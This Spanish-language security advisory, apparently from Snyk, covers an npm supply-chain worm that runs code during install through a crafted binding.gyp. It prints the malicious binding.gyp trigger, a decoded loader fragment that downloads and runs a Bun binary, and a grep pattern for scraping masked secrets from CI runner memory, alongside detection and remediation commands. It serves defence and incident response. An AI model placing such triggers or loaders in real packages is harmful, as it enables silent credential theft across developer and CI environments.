Skip to main content

Compromiso de la cadena de suministro de node-gyp: un gusano de npm que se propaga solo y se oculta en binding.gyp

Escrito por
feature insights announcement

4 de junio de 2026

0 minutos de lectura

Un ataque a la cadena de suministro se está propagando activamente por el registro de npm al abusar de un archivo que la mayoría de las herramientas de seguridad nunca revisan: binding.gyp. En lugar de depender de los scripts del ciclo de vida preinstall o postinstall, que se monitorean muy de cerca, el malware incluye un archivo binding.gyp manipulado que activa node-gyp para ejecutar automáticamente código controlado por el atacante durante npm install. Snyk está siguiendo el incidente como Compromiso de la cadena de suministro de Node-gyp - junio de 2026, que abarca 57 paquetes afectados y cientos de versiones maliciosas, todas clasificadas como código malicioso integrado con gravedad crítica.

La carga útil roba credenciales de desarrolladores y CI/CD en npm, GitHub, AWS, GCP, Azure, HashiCorp Vault y Kubernetes; las exfiltra mediante repositorios de GitHub controlados por atacantes; inyecta flujos de trabajo de GitHub Actions para persistir, y se propaga por sí misma al volver a publicar paquetes desde cualquier cuenta de mantenedor a la que pueda acceder. StepSecurity, que fue la primera en reportar la campaña, llamó a la técnica de ejecución durante la instalación «Phantom Gyp» y sigue la campaña más amplia como «Miasma», descendiente de la familia de gusanos Shai-Hulud.

Resumen

Tipo de ataque

Gusano de la cadena de suministro mediante cuentas de mantenedores comprometidas

Técnica novedosa

Ejecución de código durante la instalación mediante binding.gyp / node-gyp, no mediante preinstall/postinstall

Seguimiento de Snyk

Gravedad

Crítica (código malicioso integrado)

Fecha del incidente

3 de junio de 2026 (ola principal); variante anterior de Miasma del 1 de junio de 2026

Paquetes comprometidos

57 paquetes, cientos de versiones maliciosas

Víctimas con más descargas

@vapi-ai/server-sdk, ai-sdk-ollama

Comportamiento del malware

Robo de credenciales, inyección en GitHub Actions, persistencia y propagación del gusano por npm y RubyGems

Acción inmediata

Fija versiones confiables, ejecuta npm install --ignore-scripts y rota todas las credenciales accesibles

Paquetes afectados

Snyk enumera 57 paquetes afectados. Confirmamos que las versiones maliciosas enumeradas todavía pueden obtenerse del registro público (por ejemplo, las cuatro versiones de @vapi-ai/server-sdk devuelven archivos tar disponibles desde registry.npmjs.org), con fechas de publicación del 3 y 4 de junio de 2026. Las víctimas con más descargas semanales, según las cifras de la API del registro de npm, son:

Paquete

Descargas semanales

Versiones maliciosas

~86,500 (api.npmjs.org)

0.11.1, 0.11.2, 1.2.1, 1.2.2

~36,900 (api.npmjs.org)

0.13.1, 1.1.1, 2.2.1, 3.8.5

~5,900 (api.npmjs.org)

2.26.4, 3.4.3

1.33.3

La mayoría de los 57 paquetes se concentra en una sola cuenta de npm. Al consultar el registro, vemos que los 25 paquetes autotel y autotel-* comparten al mantenedor jagreehal, la misma cuenta que publica el ámbito @jagreehal/* y awaitly. Esa concentración en una sola cuenta es exactamente lo que cabría esperar de un gusano que enumera y vuelve a publicar todo lo que puede tocar una cuenta comprometida:

  • Familia autotel-* (24 paquetes, más autotel): incluye autotel-mcp (con versiones desde 0.1.14 hasta 29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry, entre otros

  • Familia eslint-plugin-executable-stories-* (Snyk ya ha cubierto antes el malware en la cadena de suministro de ESLint-plugin npm)

  • Paquetes @jagreehal/*

  • @evolvconsulting/evolv-coder-lite

Muchos de los números de versión inflados (por ejemplo, que autotel-mcp salte a la serie 29.x o que autotel publique tanto 2.26.4 como 3.4.3 en el mismo minuto del 4 de junio) son efectos de la republicación automatizada del gusano, no lanzamientos legítimos. La lista completa y actualizada continuamente de paquetes y versiones afectadas está en la página del incidente de Snyk.

Un detalle importante para la remediación: en al menos algunos paquetes, la etiqueta de distribución latest se volvió a asignar a una versión limpia (para autotel, latest ahora apunta a 3.4.2, publicada antes de las versiones maliciosas), pero las versiones maliciosas no se han retirado. Al momento de redactar esto, autotel@3.4.3 y autotel@2.26.4 aún devuelven archivos tar disponibles. Una nueva ejecución de npm install autotel podría obtener la versión limpia, mientras que cualquier archivo de bloqueo, versión fijada exacta o dependencia transitiva que haga referencia a una versión maliciosa seguirá descargando el malware. No tomes una etiqueta latest limpia como prueba de que estás a salvo.

Cómo funciona el ataque

La novedad: ejecución durante la instalación mediante binding.gyp

Cuando ejecutas npm install en un paquete que contiene un archivo binding.gyp y no tiene un binario precompilado compatible, npm entrega el paquete a node-gyp y ejecuta node-gyp rebuild para compilar lo que supone que es un complemento nativo de C/C++. Este comportamiento es normal y esperado para cualquier paquete con componentes nativos, y ocurre sin que haya una entrada preinstall o postinstall en ningún lugar de package.json.

La sintaxis de configuración de compilación de GYP admite la expansión de comandos. La forma <!(...) ejecuta un comando de shell durante la fase de configuración y sustituye su salida en la definición de compilación. Los paquetes comprometidos abusan directamente de esta función. Este es el archivo exacto binding.gyp de 157 bytes incluido en @vapi-ai/server-sdk@1.2.2 y autotel@3.4.3 (idéntico byte por byte en los paquetes que inspeccionamos):

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

La expresión <!(node index.js ...) ejecuta node index.js mientras node-gyp apenas está configurando la compilación, mucho antes de que se ejecute cualquier compilador. El destino "type": "none" significa que no se compila nada, por lo que el efecto secundario de la expansión del comando (ejecutar index.js) es precisamente el objetivo. La salida se redirige a /dev/null para que la instalación parezca normal, y echo stub.c devuelve un nombre de archivo de origen plausible para que gyp continúe sin errores evidentes. El resultado es la ejecución de código arbitrario durante una ejecución rutinaria de npm install.

Es fundamental señalar que package.json en estos archivos tar no contiene scripts preinstall, postinstall, install ni prepare. Las únicas entradas de scripts son tareas de desarrollo habituales (build, lint, test, format), y el paquete ni siquiera declara "gypfile": true. No hay nada en package.json que las herramientas centradas en scripts puedan marcar: basta con que exista un archivo binding.gyp para que npm invoque node-gyp por su cuenta.

La carga útil: un cargador de varias etapas basado en Bun

El archivo index.js que activa binding.gyp es un cargador ofuscado de 4.5 MB. Decodificamos estáticamente las capas externas desde el archivo tar publicado (sin ejecutarlo) y confirmamos la siguiente cadena:

  1. Cifrado César ROT-14. Todo el archivo consiste en un solo eval sobre una matriz de códigos de caracteres con aproximadamente 1.3 millones de entradas, que se convierte en una cadena y se desplaza 14 posiciones. El contenedor visible es literalmente eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)).

  2. Capa de autodescifrado AES-128-GCM. La etapa decodificada es una IIFE async que importa node:crypto y define un descifrador aes-128-gcm (createDecipheriv con una etiqueta de autenticación de 16 bytes), y luego descifra dos bloques de texto cifrado incrustados cuyas claves hexadecimales, IV y etiquetas de autenticación están codificados directamente.

  3. Cargador del entorno de ejecución de Bun (bloque de 907 bytes). El primer bloque descifrado detecta el sistema operativo y la arquitectura, luego descarga un binario independiente de Bun v1.3.13 desde las versiones oficiales de GitHub de oven-sh/bun a un directorio temporal y lo ejecuta:

 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
chmodSync(exe,"755")
  1. Carga útil principal (bloque de ~649 KB). El segundo bloque descifrado (664,535 bytes) contiene la lógica del ladrón y se ejecuta en el binario de Bun descargado, no en el proceso de Node.js que inició la instalación.

Ejecutar la lógica principal en un binario de Bun descargado, en lugar de en el proceso node que inició la instalación, es una táctica deliberada de evasión: la supervisión limitada a procesos secundarios de Node.js durante npm install no detectará el proceso de Bun que realiza el trabajo real. Esto también explica por qué un análisis de cadenas de texto sin procesar de index.js no encuentra credenciales ni indicadores de C2: ese comportamiento está dentro del bloque que ejecuta Bun. No ejecutamos esa etapa final de Bun, por lo que el catálogo de comportamientos que sigue refleja el análisis reportado públicamente.

Robo de credenciales

Una vez ejecutada, la carga útil busca secretos en los entornos de desarrollo y CI/CD, con estos objetivos:

  • AWS: aws_access_key_id / aws_secret_access_key y el endpoint de metadatos IMDSv2 (169.254.169.254)

  • GCP: GOOGLE_APPLICATION_CREDENTIALS y claves de cuentas de servicio

  • Azure: tokens de identidad administrada mediante IMDS

  • GitHub Actions: ACTIONS_ID_TOKEN_REQUEST_TOKEN y extracción de datos de la memoria de los procesos del ejecutor

  • HashiCorp Vault y Kubernetes: tokens de cuentas de servicio obtenidos de rutas estándar.

  • Administradores de contraseñas: almacenes de 1Password, pass y gopass

En GitHub Actions, la carga útil extrae datos de la memoria de los procesos del ejecutor para recuperar secretos enmascarados y dejarlos sin enmascarar, mediante un patrón como este:

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

El enmascaramiento de secretos de GitHub Actions los oculta en los registros; no los protege de un proceso que pueda leer directamente la memoria del ejecutor. Debes considerar expuesto cualquier secreto al que el ejecutor pueda acceder.

Exfiltración mediante repositorios de GitHub

En vez de usar un dominio C2 fijo, el malware usa GitHub como punto de encuentro y buzón oculto. La actividad se ha vinculado a la cuenta de GitHub liuende501, que al momento de redactar esto aloja 321 repositorios públicos (api.github.com/users/liuende501), en consonancia con el patrón del gusano de crear repositorios mediante programación para recibir datos robados. El proceso:

  1. Encuentra el punto de encuentro al buscar una palabra clave codificada en los commits públicos

  2. Crea sobre la marcha un repositorio con un nombre aleatorio

  3. Sube los datos robados cifrados como results/results-{timestamp}.json

  4. Envía solicitudes a la API con el User-Agent python-requests/2.31.0

Usar GitHub para exfiltrar datos mezcla el tráfico con la actividad normal de desarrollo y CI, ya que las conexiones salientes a github.com y api.github.com rara vez se bloquean en entornos de compilación.

Propagación del gusano entre ecosistemas

La carga útil se propaga por sí sola y cuenta con motores independientes para cada ecosistema:

  • Gusano de npm: enumera los paquetes de un mantenedor mediante registry.npmjs.org/-/v1/search?text=maintainer:{username}, descarga cada objetivo, inyecta el archivo malicioso binding.gyp y index.js, y vuelve a publicar los paquetes. En consonancia con olas anteriores de esta familia (consulta la cobertura de Snyk sobre TanStack, el primer paquete malicioso documentado de npm que incluía procedencia SLSA válida), el gusano también falsifica atestaciones de procedencia de Sigstore mediante Fulcio y Rekor, para que los paquetes reinfectados parezcan estar firmados legítimamente.

  • Gusano de RubyGems: inyecta lógica equivalente en extconf.rb, el enlace de compilación de extensiones nativas de RubyGems, y reutiliza el mismo descargador de Bun. extconf.rb cumple en RubyGems una función equivalente a la de binding.gyp en npm: es un archivo de compilación que se ejecuta automáticamente y no es un «script» en el sentido de los scripts del ciclo de vida.

  • Envenenamiento de repositorios de GitHub: agrega archivos con puertas traseras a los repositorios en los que los tokens robados tienen permisos de escritura, incluidos hooks de agentes de programación con IA y editores (.claude/, .cursor/rules/, .vscode/tasks.json) que vuelven a ejecutar la carga útil cuando un desarrollador abre el proyecto.

El alcance entre ecosistemas (npm y RubyGems) y la reutilización de archivos de extensión en tiempo de compilación en ambos son el hilo conductor de esta campaña: encontrar el archivo que se ejecuta automáticamente durante la instalación o compilación, pero que nadie clasifica como un "script".

Análisis del impacto

El alcance directo del ataque incluye cualquier equipo de desarrollador o ejecutor de CI que haya ejecutado npm install y resuelto una de las versiones de paquetes afectadas. Los entornos de CI/CD corren el mayor riesgo, porque el robo de datos de la memoria del ejecutor implica que debe considerarse comprometido todo secreto al que este pueda acceder, no solo los que se pasan como variables de entorno explícitas.

Los equipos de desarrolladores corren un riesgo secundario y más duradero debido a los hooks del editor y del agente de IA, que sobreviven a un simple npm uninstall y vuelven a ejecutar la carga útil en la siguiente sesión.

La probabilidad de que siga propagándose parece menor que en el punto más alto de la campaña: los paquetes afectados se remontan a un pequeño número de cuentas de mantenedores (confirmamos que los 25 paquetes autotel y autotel-* comparten una sola cuenta, jagreehal), y no se han observado lanzamientos nuevos comprometidos recientemente. Aun así, las versiones maliciosas siguen disponibles para instalar desde npm, por lo que el riesgo de exposición persiste para quienes las obtengan, de forma directa o transitiva, antes de que se eliminen por completo.

Detección

Analiza con Snyk. Snyk publicó avisos sobre las versiones afectadas en la Snyk Vulnerability Database y habilitó una página del incidente en security.snyk.io/node-gyp-supply-chain-compromise-june-2026. Analiza tu proyecto:

snyk test

Para analizar un manifiesto o archivo de bloqueo específico:

snyk test --file=package-lock.json

Busca la técnica, no solo los nombres de los paquetes. Como la ruta de ejecución es binding.gyp, puedes buscarla independientemente de la lista de paquetes:

# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor / AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Indicadores de red y comportamiento:

  • Se ejecuta node-gyp rebuild para paquetes que no tienen ningún complemento nativo legítimo

  • Se inician procesos secundarios inesperados (curl, unzip, bun) durante npm install

  • Se descarga un binario independiente de bun desde las versiones de oven-sh/bun durante la instalación, aunque nunca hayas solicitado Bun

  • Llamadas a la API de GitHub con un User-Agent python-requests/2.31.0 que se originan en un paso de CI que no es un proceso de Python

Mitigación

Si no tienes certeza de si te afectó, considéralo un compromiso confirmado. Los datos recolectados se cifran antes de exfiltrarlos, por lo que no puedes determinar a posteriori qué se robó.

Paso 1: Elimina la persistencia antes de rotar los tokens. Si se instalaron hooks del editor o del agente de IA, elimínalos primero para que no reaccionen a los cambios de credenciales:

# Inspect and remove injected hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
rm -rf .cursor/rules/setup.mdc 2>/dev/null

Paso 2: Limpia y reinstala con versiones confiables.

rm -rf node_modules
# Pin affected packages to known-good versions in package.json, then:
npm install --ignore-scripts

--ignore-scripts bloquea el hook implícito de instalación de npm que ejecuta node-gyp rebuild para los paquetes con binding.gyp. Sin embargo, no debe considerarse la única protección: el paquete malicioso aún podría descargarse y descomprimirse, otras herramientas o una ejecución posterior de npm rebuild sin --ignore-scripts podrían compilarlo, y otros administradores de paquetes o flujos de trabajo podrían comportarse de otra manera. La mitigación más segura sigue siendo fijar versiones seguras, eliminar las maliciosas y analizar antes de cualquier paso de compilación.

Paso 3: Rota todas las credenciales a las que pueda acceder un equipo o ejecutor afectado:

  • Tokens de publicación de npm

  • Tokens de acceso personal de GitHub y secretos de Actions (con alcance de repositorio y organización)

  • Claves de acceso de AWS y cualquier rol de IAM accesible desde los ejecutores afectados

  • Claves de cuentas de servicio de GCP

  • Entidades de servicio de Azure y alcances de identidad administrada

  • Tokens de HashiCorp Vault

  • Tokens de cuentas de servicio de Kubernetes

  • Cualquier elemento de un almacén de administrador de contraseñas al que se haya apuntado (1Password, pass, gopass)

Paso 4: Audita GitHub en busca de flujos de trabajo inyectados y repositorios de entrega.

# Look for unexpected workflow files or branches added recently
git log --oneline --all -- .github/workflows/

# Repositories created on your account without your action
gh repo list --json name,createdAt --limit 200

Paso 5: Refuerza tus defensas contra la próxima ola.

  • Usa por defecto npm install --ignore-scripts en CI (es una práctica recomendada para protegerte contra la familia más amplia de ataques durante la instalación) y combínalo con un control de análisis

  • Fija las dependencias en versiones exactas con hashes de integridad en el archivo de bloqueo

  • Considera una política de período de espera del registro que retenga los paquetes publicados en los últimos días antes de permitir que se usen en compilaciones

  • Aplica el principio de privilegio mínimo al alcance de los tokens de CI/CD para que un solo token robado tenga un impacto limitado

  • Usa Snyk para monitorear continuamente tu árbol de dependencias y detectar paquetes maliciosos cuando se señalen

La guía de Snyk para prevenir ataques a la cadena de suministro de npm incluye una lista de verificación más amplia.

La perspectiva general: un descendiente de Shai-Hulud

Esta es la ola más reciente del linaje Shai-Hulud / Miasma, una familia de gusanos de npm que se autopropagan y que ha atacado el registro repetidamente desde finales de 2025. Snyk cubrió una ola anterior de Miasma, en junio de 2026, que afectó a paquetes de npm de Red Hat; las descripciones de los repositorios de exfiltración usados en estas olas hacen referencia directa a las campañas anteriores de Shai-Hulud. Cada ola ha reutilizado un programa ladrón ofuscado que funciona en el entorno de ejecución Bun, y lo ha ampliado con nuevos mecanismos de persistencia, nuevas rutas de exfiltración y nuevas formas de ejecutar código automáticamente durante la instalación o compilación. La evolución de ese truco de ejecución automática es lo que conviene tener presente:

  • Las olas anteriores se basaban en scripts del ciclo de vida preinstall / postinstall

  • Las olas posteriores agregaron hooks de agentes de programación con IA (SessionStart) y tareas del IDE al abrir carpetas para mantener la persistencia

  • Esta ola traslada la ejecución inicial a binding.gyp / node-gyp (y a extconf.rb en RubyGems), archivos de compilación que no son scripts del ciclo de vida

Snyk ha cubierto en detalle olas anteriores de esta familia de campañas:

Para conocer la familia de gusanos de la que desciende este incidente:

Investigador de seguridad de Snyk explica el gusano de la cadena de suministro de npm Mini Shai-Hulud y cómo se propaga Mini Shai-Hulud: el ataque más sofisticado a la cadena de suministro de NPM de 2026 (Descripción general de la familia de gusanos Shai-Hulud / Miasma y de cómo se autopropaga)

Para ver una guía práctica sobre cómo encontrar y corregir paquetes comprometidos de esta familia de campañas con Snyk:

Ingeniero de seguridad de Snyk muestra cómo identificar y mitigar paquetes de npm comprometidos por Shai-Hulud con la CLI de Snyk Ataque Shai-Hulud a NPM: mitigación con Snyk - Guía práctica para identificar y mitigar paquetes comprometidos con las herramientas de Snyk.

Para conocer el contexto de cómo el compromiso de un paquete legítimo y confiable encaja en el modelo más amplio de amenazas a la cadena de suministro, la lección de Snyk Learn sobre Compromiso de paquetes legítimos es una buena introducción.

Cronología (UTC)

Fecha

Evento

1 de junio de 2026

Una variante anterior de Miasma compromete otro grupo de paquetes de npm (relacionados con Red Hat)

3 de junio de 2026

Ola principal: @vapi-ai/server-sdk y decenas de paquetes de las familias autotel, eslint-plugin-executable-stories y @jagreehal se comprometen en una rápida oleada automatizada

3 de junio de 2026 (en adelante)

Se publica el análisis técnico público de la técnica "Phantom Gyp"; Snyk publica avisos y una página del incidente en vivo

En curso

La investigación continúa; las versiones maliciosas siguen disponibles en npm hasta que se eliminen

Cobertura de Snyk

Snyk publicó avisos sobre las versiones afectadas en la Snyk Vulnerability Database y mantiene una página del incidente en vivo que enumera los 57 paquetes y sus versiones maliciosas. Los clientes de Snyk pueden usar los análisis de Snyk en todo el SDLC para identificar qué proyectos obtienen versiones afectadas, de forma directa o transitiva, y priorizar la mitigación según el nivel de exposición.

Consulta Snyk Vulnerability DB

Datos confiables e información práctica para ayudarte a desarrollar software de forma segura.